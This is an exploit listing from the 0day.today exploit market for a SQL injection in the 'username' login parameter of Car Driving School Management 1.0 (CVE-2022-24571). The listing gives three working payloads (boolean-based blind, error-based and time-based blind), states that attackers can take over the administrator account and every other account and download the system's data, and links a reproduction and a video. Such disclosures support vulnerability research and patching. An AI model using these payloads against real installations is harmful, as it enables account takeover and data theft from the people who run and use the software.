[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Car Driving School Management 1.0 SQL Injection Vulnerability

Author
nu11secur1ty
Risk
[
Security Risk High
]
0day-ID
0day-ID-37442
Category
web applications
Date add
02-03-2022
Platform
php
## Title: Car Driving School Management v1.0 SQLi
## Author: nu11secur1ty
## Vendor: https://www.sourcecodester.com/users/tips23
## Software: https://www.sourcecodester.com/php/15070/car-driving-school-management-system-phpoop-free-source-code.html
## Reference: https://github.com/nu11secur1ty/CVE-mitre/blob/main/2022/CVE-2022-24571

## Description:
The `username` parameter on Car Driving School Management v1.0 appears
to be vulnerable to SQL injection attacks.
A single quote was submitted in the username parameter, and a database
error message was returned.
Two single quotes were then submitted and the error message disappeared.
The attacker can take administrator account control and also of all
accounts on this system, also the malicious user can download all
information about this system.

Status: CRITICAL

[+] Payloads:

```mysql

---
Parameter: username (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
    Payload: username=DMdqCjGG' OR NOT 6823=6823-- yrqx&password=a5Y!f7m!O0

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
    Payload: username=DMdqCjGG' AND (SELECT 9746 FROM(SELECT
COUNT(*),CONCAT(0x71786b7671,(SELECT
(ELT(9746=9746,1))),0x7171787a71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- gzNl&password=a5Y!f7m!O0

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=DMdqCjGG' AND (SELECT 9290 FROM
(SELECT(SLEEP(5)))RWHi)-- vsyd&password=a5Y!f7m!O0
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-mitre/blob/main/2022/CVE-2022-24571)

## Proof and Exploit:
[href](https://streamable.com/n9r8uk)

#  0day.today [2024-11-16]  #